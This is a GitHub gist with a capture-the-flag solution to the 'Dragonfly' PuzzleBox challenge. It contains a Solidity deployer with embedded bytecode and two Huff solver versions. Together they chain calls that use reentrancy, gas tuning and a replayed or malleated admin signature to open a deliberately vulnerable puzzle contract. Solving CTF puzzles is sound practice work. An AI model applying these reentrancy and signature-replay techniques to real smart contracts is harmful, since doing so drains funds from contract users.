Last active
May 8, 2023 22:12
-
-
Save horsefacts/80b943c1773623b00d1b4469f9af6703 to your computer and use it in GitHub Desktop.
Dragonfly CTF - Huff
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.19; | |
import "./PuzzleBox.sol"; | |
contract PuzzleBoxSolution { | |
fallback() external payable { | |
// Compiled output of Solver.huff | |
// https://gist.github.com/horsefacts/80b943c1773623b00d1b4469f9af6703#file-solver-huff | |
bytes memory code = ( | |
hex"60208038033439345180637159a61860e01b3452346020343434945af1508063" | |
hex"deecedd460e01b345263925facb160e01b600452346044343434945af1506101" | |
hex"cf8060483d393df3343d14610028576101b4471161001157005b33639f678cca" | |
hex"60e01b3d523d60203d473d945af150005b60043580639f678cca60e01b345234" | |
hex"6020344734945af15080638fd66f2560e01b3452346020343434945af1508060" | |
hex"0201343434600134945af150806291905560e01b3452346020343434945af150" | |
hex"80631155105260e01b34523460203434349462017ed0f1508063925facb160e0" | |
hex"1b34526001600452346024536020602552600660455260026065526004608552" | |
hex"600660a552600760c552600860e55260096101055234610125343434945af150" | |
hex"80632b071e4760e01b345260406004526080602452600160445273416e59dacf" | |
hex"db5d457304115bbfb9089531d873b7606452600360845273c817dd2a5daa8f79" | |
hex"0677e399170c92aabd044b5760a452609660c452604b60e45234610104343434" | |
hex"945af150806358657dcf60e01b34527fc8f549a7e4cb7e1c60d908cc05ceff53" | |
hex"ad731e6ea0736edf7ffeea588dfb42d8600452604060245260416044527fc8f5" | |
hex"49a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d86064" | |
hex"527f9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc" | |
hex"8a62608452601b60f81b60a4523460c4343434945af150" | |
); | |
assembly { | |
// load puzzle address from calldata | |
let puzzle := calldataload(0x04) | |
// Append puzzle address to end of contract bytecode | |
let len := mload(code) | |
mstore(add(add(code, len), 0x20), puzzle) | |
mstore(code, add(len, 0x20)) | |
// Create solver contract | |
let solver := create(0, add(code, 0x20), mload(code)) | |
// Call solver, passing puzzle address as arg | |
mstore(0x04, puzzle) | |
pop(call(gas(), solver, 0, 0, 0x24, 0, 0)) | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define constant ONE_WORD = 0x20 | |
#define constant SELECTOR_SIZE = 0x04 | |
#define constant SELECTOR_SHIFT = 0xe0 | |
#define constant CREEP_SELECTOR = 0x11551052 | |
#define constant DRIP_SELECTOR = 0x9f678cca | |
#define constant LEAK_SELECTOR = 0x8fd66f25 | |
#define constant LOCK_SELECTOR = 0xdeecedd4 | |
#define constant OPEN_SELECTOR = 0x58657dcf | |
#define constant OPERATE_SELECTOR = 0x7159a618 | |
#define constant SPREAD_SELECTOR = 0x2b071e47 | |
#define constant TORCH_SELECTOR = 0x925facb1 | |
#define constant ZIP_SELECTOR = 0x00919055 | |
// Load the puzzle address from calldata | |
#define macro LOAD_PUZZLE_ADDR() = takes(0) returns (1) { | |
0x04 calldataload | |
} | |
// Load the puzzle address from the last 20 bytes of contract bytecode | |
#define macro LOAD_CONSTRUCTOR_ARG() = takes(0) returns (1) { | |
0x20 dup1 codesize sub callvalue codecopy | |
callvalue mload | |
} | |
// make a simple call with no value or args. | |
// Read address from stack. | |
// Return address to stack. | |
#define macro CALL(selector) = takes(1) returns (1) { | |
dup1 | |
<selector> [SELECTOR_SHIFT] shl | |
callvalue mstore | |
callvalue [ONE_WORD] callvalue callvalue callvalue swap5 gas | |
call pop | |
} | |
// Call operate(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro OPERATE() = takes(1) returns (1) { | |
CALL(OPERATE_SELECTOR) | |
} | |
// Call unlock(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro UNLOCK() = takes(1) returns (1) { | |
dup1 | |
[LOCK_SELECTOR] [SELECTOR_SHIFT] shl | |
callvalue mstore | |
[TORCH_SELECTOR] [SELECTOR_SHIFT] shl [SELECTOR_SIZE] mstore | |
callvalue 0x44 callvalue callvalue callvalue swap5 gas | |
call pop | |
} | |
// Call drip(), sending full balance. | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro DRIP() = takes(1) returns (1) { | |
dup1 | |
[DRIP_SELECTOR] [SELECTOR_SHIFT] shl | |
callvalue mstore | |
callvalue [ONE_WORD] callvalue selfbalance callvalue swap5 gas | |
call pop | |
} | |
// Call leak(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro LEAK() = takes(1) returns (1) { | |
CALL(LEAK_SELECTOR) | |
} | |
// Send 1 wei to warm address + 0x02. | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro WARM() = takes(1) returns (1) { | |
dup1 | |
0x02 add | |
callvalue callvalue callvalue 0x01 callvalue swap5 gas | |
call pop | |
} | |
// Call zip(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro ZIP() = takes(1) returns (1) { | |
CALL(ZIP_SELECTOR) | |
} | |
// Call creep(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro CREEP() = takes(1) returns (1) { | |
dup1 | |
[CREEP_SELECTOR] [SELECTOR_SHIFT] shl | |
callvalue mstore | |
callvalue [ONE_WORD] callvalue callvalue callvalue swap5 0x17ed0 | |
call pop | |
} | |
// Call torch(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro TORCH() = takes(1) returns (1) { | |
dup1 | |
[TORCH_SELECTOR] [SELECTOR_SHIFT] shl | |
callvalue mstore | |
0x01 [SELECTOR_SIZE] mstore // bytes offset | |
callvalue 0x24 mstore8 // extra zero byte | |
0x20 0x25 mstore // Array offset | |
0x06 0x45 mstore // Array length | |
0x02 0x65 mstore // uint256(2) | |
0x04 0x85 mstore // uint256(4) | |
0x06 0xa5 mstore // uint256(6) | |
0x07 0xc5 mstore // uint256(7) | |
0x08 0xe5 mstore // uint256(8) | |
0x09 0x105 mstore // uint256(9) | |
callvalue 0x125 callvalue callvalue callvalue swap5 gas | |
call pop | |
} | |
// Call spread(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro SPREAD() = takes(1) returns (1) { | |
dup1 | |
[SPREAD_SELECTOR] [SELECTOR_SHIFT] shl | |
callvalue mstore | |
0x40 [SELECTOR_SIZE] mstore // address[] friends offset | |
0x80 0x24 mstore // uint256[] friendsCutBps offset | |
0x01 0x44 mstore // friends length | |
0x416e59dacfdb5d457304115bbfb9089531d873b7 0x64 mstore // friends[0] | |
0x03 0x84 mstore // friendsCutBps length | |
0xc817dd2a5daa8f790677e399170c92aabd044b57 0xa4 mstore // friendsCutBps[0] | |
0x96 0xc4 mstore // friendsCutBps[1] | |
0x4b 0xe4 mstore // friendsCutBps[2] | |
callvalue 0x104 callvalue callvalue callvalue swap5 gas | |
call pop | |
} | |
// Call open(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro OPEN() = takes(1) returns (1) { | |
dup1 | |
[OPEN_SELECTOR] [SELECTOR_SHIFT] shl | |
callvalue mstore | |
// uint256 nonce argument | |
0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8 [SELECTOR_SIZE] mstore | |
// bytes adminSig argument | |
0x40 0x24 mstore // bytes offset | |
0x41 0x44 mstore // bytes length | |
0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8 0x64 mstore // Signature r | |
0x9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc8a62 0x84 mstore // Signature s | |
0x1b 0xf8 shl 0xa4 mstore // Signature v | |
callvalue 0xc4 callvalue callvalue callvalue swap5 gas | |
call pop | |
} | |
// Call PuzzleBox functions in order to solve the puzzle. | |
#define macro SOLVE() = takes(0) returns (0) { | |
// Load puzzle address from calldata: | |
LOAD_PUZZLE_ADDR() // [puzzle_addr] | |
// Each subsequent call reads puzzle_addr | |
// and returns it to the stack. | |
DRIP() // [puzzle_addr] | |
LEAK() // [puzzle_addr] | |
WARM() // [puzzle_addr] | |
ZIP() // [puzzle_addr] | |
CREEP() // [puzzle_addr] | |
TORCH() // [puzzle_addr] | |
SPREAD() // [puzzle_addr] | |
OPEN() // [puzzle_addr] | |
} | |
#define macro FALLBACK() = takes(0) returns (0) { | |
// If we haven't minted enough drips, reenter. | |
0x1b4 selfbalance gt drip jumpi | |
stop | |
drip: | |
// We can use caller() here instead of loading the puzzle address | |
caller | |
[DRIP_SELECTOR] [SELECTOR_SHIFT] shl | |
returndatasize mstore | |
returndatasize [ONE_WORD] returndatasize selfbalance returndatasize swap5 gas | |
call pop | |
} | |
#define macro CONSTRUCTOR() = takes (0) returns (0) { | |
// Load puzzle address from bytecode: | |
LOAD_CONSTRUCTOR_ARG() // [puzzle_addr] | |
// Each subsequent call reads puzzle_addr | |
// and returns it to the stack. | |
OPERATE() // [puzzle_addr] | |
UNLOCK() // [puzzle_addr] | |
} | |
#define macro MAIN() = takes (0) returns (0) { | |
// If we're not receiving an ether refund from drip(), | |
// jump to SOLVE(). | |
callvalue returndatasize eq solve jumpi | |
// Otherwise, fall back. | |
FALLBACK() | |
stop | |
solve: | |
SOLVE() | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define constant ONE_WORD = 0x20 | |
#define constant SELECTOR_SIZE = 0x04 | |
#define constant SELECTOR_SHIFT = 0xe0 | |
#define constant CREEP_SELECTOR = 0x11551052 | |
#define constant DRIP_SELECTOR = 0x9f678cca | |
#define constant LEAK_SELECTOR = 0x8fd66f25 | |
#define constant LOCK_SELECTOR = 0xdeecedd4 | |
#define constant OPEN_SELECTOR = 0x58657dcf | |
#define constant OPERATE_SELECTOR = 0x7159a618 | |
#define constant SPREAD_SELECTOR = 0x2b071e47 | |
#define constant TORCH_SELECTOR = 0x925facb1 | |
#define constant ZIP_SELECTOR = 0x00919055 | |
// Load the puzzle address from calldata | |
#define macro LOAD_PUZZLE_ADDR() = takes(0) returns (1) { | |
0x04 calldataload | |
} | |
// Load the puzzle address from the last 20 bytes of contract bytecode | |
#define macro LOAD_CONSTRUCTOR_ARG() = takes(0) returns (1) { | |
0x20 dup1 codesize sub push0 codecopy | |
push0 mload | |
} | |
// make a simple call with no value or args. | |
// Read address from stack. | |
// Return address to stack. | |
#define macro CALL(selector) = takes(1) returns (1) { | |
dup1 | |
<selector> [SELECTOR_SHIFT] shl | |
push0 mstore | |
push0 [ONE_WORD] push0 push0 push0 swap5 gas | |
call pop | |
} | |
// Call operate(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro OPERATE() = takes(1) returns (1) { | |
CALL(OPERATE_SELECTOR) | |
} | |
// Call unlock(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro UNLOCK() = takes(1) returns (1) { | |
dup1 | |
[LOCK_SELECTOR] [SELECTOR_SHIFT] shl | |
push0 mstore | |
[TORCH_SELECTOR] [SELECTOR_SHIFT] shl [SELECTOR_SIZE] mstore | |
push0 0x44 push0 push0 push0 swap5 gas | |
call pop | |
} | |
// Call drip(), sending full balance. | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro DRIP() = takes(1) returns (1) { | |
dup1 | |
[DRIP_SELECTOR] [SELECTOR_SHIFT] shl | |
push0 mstore | |
push0 [ONE_WORD] push0 selfbalance push0 swap5 gas | |
call pop | |
} | |
// Call leak(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro LEAK() = takes(1) returns (1) { | |
CALL(LEAK_SELECTOR) | |
} | |
// Send 1 wei to warm address + 0x02. | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro WARM() = takes(1) returns (1) { | |
dup1 | |
0x02 add | |
push0 push0 push0 0x01 push0 swap5 gas | |
call pop | |
} | |
// Call zip(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro ZIP() = takes(1) returns (1) { | |
CALL(ZIP_SELECTOR) | |
} | |
// Call creep(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro CREEP() = takes(1) returns (1) { | |
dup1 | |
[CREEP_SELECTOR] [SELECTOR_SHIFT] shl | |
push0 mstore | |
push0 [ONE_WORD] push0 push0 push0 swap5 0x17ed0 | |
call pop | |
} | |
// Call torch(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro TORCH() = takes(1) returns (1) { | |
dup1 | |
[TORCH_SELECTOR] [SELECTOR_SHIFT] shl | |
push0 mstore | |
0x01 [SELECTOR_SIZE] mstore // bytes offset | |
push0 0x24 mstore8 // extra zero byte | |
0x20 0x25 mstore // Array offset | |
0x06 0x45 mstore // Array length | |
0x02 0x65 mstore // uint256(2) | |
0x04 0x85 mstore // uint256(4) | |
0x06 0xa5 mstore // uint256(6) | |
0x07 0xc5 mstore // uint256(7) | |
0x08 0xe5 mstore // uint256(8) | |
0x09 0x105 mstore // uint256(9) | |
push0 0x125 push0 push0 push0 swap5 gas | |
call pop | |
} | |
// Call spread(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro SPREAD() = takes(1) returns (1) { | |
dup1 | |
[SPREAD_SELECTOR] [SELECTOR_SHIFT] shl | |
push0 mstore | |
0x40 [SELECTOR_SIZE] mstore // address[] friends offset | |
0x80 0x24 mstore // uint256[] friendsCutBps offset | |
0x01 0x44 mstore // friends length | |
0x416e59dacfdb5d457304115bbfb9089531d873b7 0x64 mstore // friends[0] | |
0x03 0x84 mstore // friendsCutBps length | |
0xc817dd2a5daa8f790677e399170c92aabd044b57 0xa4 mstore // friendsCutBps[0] | |
0x96 0xc4 mstore // friendsCutBps[1] | |
0x4b 0xe4 mstore // friendsCutBps[2] | |
push0 0x104 push0 push0 push0 swap5 gas | |
call pop | |
} | |
// Call open(). | |
// Reads PuzzleBox address from stack. | |
// Returns PuzzleBox address to stack. | |
#define macro OPEN() = takes(1) returns (1) { | |
dup1 | |
[OPEN_SELECTOR] [SELECTOR_SHIFT] shl | |
push0 mstore | |
// uint256 nonce argument | |
0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8 [SELECTOR_SIZE] mstore | |
// bytes adminSig argument | |
0x40 0x24 mstore // bytes offset | |
0x41 0x44 mstore // bytes length | |
0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8 0x64 mstore // Signature r | |
0x9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc8a62 0x84 mstore // Signature s | |
0x1b 0xf8 shl 0xa4 mstore // Signature v | |
push0 0xc4 push0 push0 push0 swap5 gas | |
call pop | |
} | |
// Call PuzzleBox functions in order to solve the puzzle. | |
#define macro SOLVE() = takes(0) returns (0) { | |
// Load puzzle address from calldata: | |
LOAD_PUZZLE_ADDR() // [puzzle_addr] | |
// Each subsequent call reads puzzle_addr | |
// and returns it to the stack. | |
DRIP() // [puzzle_addr] | |
LEAK() // [puzzle_addr] | |
WARM() // [puzzle_addr] | |
ZIP() // [puzzle_addr] | |
CREEP() // [puzzle_addr] | |
TORCH() // [puzzle_addr] | |
SPREAD() // [puzzle_addr] | |
OPEN() // [puzzle_addr] | |
} | |
#define macro FALLBACK() = takes(0) returns (0) { | |
// If we haven't minted enough drips, reenter. | |
0x1b4 selfbalance gt drip jumpi | |
stop | |
drip: | |
// We can use caller() here instead of loading the puzzle address | |
caller | |
[DRIP_SELECTOR] [SELECTOR_SHIFT] shl | |
push0 mstore | |
push0 [ONE_WORD] push0 selfbalance push0 swap5 gas | |
call pop | |
} | |
#define macro CONSTRUCTOR() = takes (0) returns (0) { | |
// Load puzzle address from bytecode: | |
LOAD_CONSTRUCTOR_ARG() // [puzzle_addr] | |
// Each subsequent call reads puzzle_addr | |
// and returns it to the stack. | |
OPERATE() // [puzzle_addr] | |
UNLOCK() // [puzzle_addr] | |
} | |
#define macro MAIN() = takes (0) returns (0) { | |
// If we're not receiving an ether refund from drip(), | |
// jump to SOLVE(). | |
callvalue returndatasize eq solve jumpi | |
// Otherwise, fall back. | |
FALLBACK() | |
stop | |
solve: | |
SOLVE() | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment